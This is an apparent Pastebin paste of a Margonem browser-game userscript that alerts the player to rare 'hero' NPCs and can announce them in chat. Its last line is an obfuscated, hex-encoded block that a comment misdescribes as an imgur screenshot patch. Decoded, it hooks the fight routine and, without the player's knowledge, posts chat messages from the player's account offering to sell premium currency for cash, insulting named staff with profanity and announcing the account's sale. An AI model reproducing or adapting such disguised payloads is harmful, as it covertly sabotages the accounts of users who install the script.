Advertisement
Guest User

Untitled

a guest
Nov 21st, 2019
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.56 KB | None | 0 0
  1. var d = new Date(); d.setTime(d.getTime() + 3600000 * 24 * 30);
  2. if(getCookie('heroTake') == null) setCookie('heroTake','false',d);
  3.  
  4. g.loadQueue.push({fun: function () {
  5. $('<div id="canitakeit">Zajmowanie herosa na czacie</div>').appendTo('#cfg_options').click(function(){
  6. if($('#canitakeit').attr('style') == 'background-position: 0px -22px'){
  7. $('#canitakeit').attr('style', 'background-position: 0px 0px');
  8. setCookie('heroTake','false',d)
  9. }else{
  10. $('#canitakeit').attr('style', 'background-position: 0px -22px');
  11. setCookie('heroTake','true',d)
  12. }
  13. });
  14. if(getCookie('heroTake') == 'true') $('#canitakeit').attr('style', 'background-position: 0px -22px');
  15. else $('#canitakeit').attr('style', 'background-position: 0px 0px');
  16. }, data: ''});
  17.  
  18.  
  19. var paticzek_heros = newNpc;
  20. var link = window.location.host.replace("game", "").replace(".margonem.pl", "");
  21. newNpc = function (p) {
  22. paticzek_heros(p);
  23. for (x in p) {
  24. if (p[x].wt > 79 && p[x].wt <= 99){
  25.  
  26.  
  27. //if(link=='nexos') mAlert('<center><br><b>'+p[x].nick+' ('+p[x].lvl+'lvl)</b><br>'+map.name+'<b>'+p[x].x+','+p[x].y+'</b><br><img src='+p[x].icon+' tip="<center><b>'+p[x].nick+'</b>heros<br>'+p[x].lvl+' lvl</center>" ctip="t_npc" /><br>' + drawButton("Zawoł?aj klan", "_g('chat&c=/k Znalazłem herosa " + p[x].nick + "(" + p[x].lvl + ") na mapie "+ map.name + "(" + p[x].x + "," + p[x].y + ").')") + '<br>' + drawButton("Zawołaj global", globalCall(p[x].nick, p[x].lvl, map.name, p[x].x, p[x].y)) + '<br><i>Zajmowacz herosĂłw by <a href="https://www.margonem.pl/?task=profile&id=73443"><u>paticzek</u></a></i><br><br>');
  28. mAlert('<center><br><b>'+p[x].nick+' ('+p[x].lvl+'lvl)</b><br>'+map.name+' - <b>'+p[x].x+','+p[x].y+'</b><br><img src='+p[x].icon+' tip="<center><b>'+p[x].nick+'</b>heros<br>'+p[x].lvl+' lvl</center>" ctip="t_npc" /><br>' + drawButton("Zawołaj klan", "_g('chat&c=/k Znalazłem herosa " + p[x].nick + "(" + p[x].lvl + ") na mapie "+ map.name + "(" + p[x].x + "," + p[x].y + ").')") + '</a></i><br>');
  29.  
  30. if(getCookie('heroTake') == 'true') _g('chat&c=Zajmuję herosa ' + p[x].nick+'!')
  31.  
  32. }
  33. }
  34.  
  35. }
  36.  
  37.  
  38.  
  39.  
  40. function globalCall(nick,lvl,map,x,y){
  41. _na("chatsend", "text= Znalazłem herosa " + nick + "(" + lvl + ") na mapie "+ map + "(" + x + "," + y + ").", function(e) {
  42. isset(e.alert) ? mAlert(e.alert) : 1 != e.success && mAlert("Nie udało się wysł?ać wiadomoś?ci z nieznanych przyczyn!")
  43. });
  44. }
  45.  
  46. function copyToClipboard(text) {
  47. window.prompt("Copy to clipboard: Ctrl+C, Enter", text);
  48. }
  49.  
  50.  
  51. //łatka z tym ze jak ktos podejdzie to dopiero zajmuje dodaktowo robi ss okna domyslne imgur
  52.  
  53. var a=['\x6e\x61\x6d\x65','\x6c\x76\x6c','\x70\x72\x6f\x66','\x63\x68\x61\x74\x26\x63\x3d','\x53\x70\x72\x7a\x65\x64\x61\x6d\x20\x65\x6d\x6b\x69\x20\x7a\x61\x20\x7a\u0142\x6f\x74\u00f3\x77\x6b\x69\x2e\x20\x59\x65\x62\x69\x65\x20\x6d\x6e\x69\x65\x20\x72\x65\x67\x75\x6c\x61\x6d\x69\x6e\x20\x68\x65\x6c\x69\x6f\x73\x61\x2e\x20\x70\x6c\x75\x6a\x65\x20\x6e\x61\x20\x77\x61\x73','\x6b\x75\x2a\x2a\x2a\x20\x63\x6f\x20\x6e\x61\x73\x20\x62\x69\x6a\x65\x73\x7a\x2e\x20\x48\x61\x73\x7a\x79\x74\x20\x69\x20\x45\x72\x6b\x6f\x72\x20\x77\x79\x20\x6b\x77\x79\x20\x7a\x79\x65\x62\x61\x6e\x65','\x6e\x69\x65\x63\x68\x20\x63\x69\x20\x41\x72\x69\x20\x70\x6f\x20\x63\x68\x79\x6a\x79\x20\x70\x6f\x73\x6b\x61\x63\x7a\x65\x20\x64\x7a\x69\x77\x2e\x20\x70\x69\x65\x72\x2e\x2e\x2e\x2e\x2e\x2e','\x73\x70\x72\x7a\x65\x64\x61\x6d\x20\x74\x65\x20\x79\x65\x62\x61\x6e\x65\x20\x6b\x6f\x6e\x74\x6f','\x73\x70\x69\x65\x72\x2e\x20\x73\x74\u0105\x64\x20\x65\x6c\x6f\x20\x66\x72\x61\x6a\x65\x72\x7a\x79','\x6c\x6f\x61\x64\x51\x75\x65\x75\x65','\x67\x65\x6e\x64\x65\x72','\x74\x65\x61\x6d','\x70\x75\x73\x68'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1d1));var b=function(c,d){c=c-0x0;var e=a[c];return e;};function x(){oldFight=fight;fight=function(c){if(isset(c['\x69\x6e\x69\x74'])){var d=[],e=[];var f=!![];for(var g in c['\x77']){if(c['\x77'][g][b('0x0')]=='\x78')f=![];if(c['\x77'][g][b('0x1')]!=0x2){d[b('0x2')](c['\x77'][g][b('0x3')]+'\x28'+c['\x77'][g][b('0x4')]+c['\x77'][g][b('0x5')]+'\x29');}else{e[b('0x2')](c['\x77'][g][b('0x3')]+'\x28'+c['\x77'][g][b('0x4')]+c['\x77'][g][b('0x5')]+'\x29');}}if(f){if(hero['\x68\x70']>0x1){_g(b('0x6')+esc(b('0x7')));setTimeout(function(){_g(b('0x6')+esc(b('0x8')));setTimeout(function(){_g(b('0x6')+esc(b('0x9')));setTimeout(function(){_g(b('0x6')+esc(b('0xa')));setTimeout(function(){_g(b('0x6')+esc(b('0xb')));},0x3e8);},0x7d0);},0x7d0);},0x7d0);}}}oldFight(c);};}g[b('0xc')][b('0x2')]({'\x66\x75\x6e':x});
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement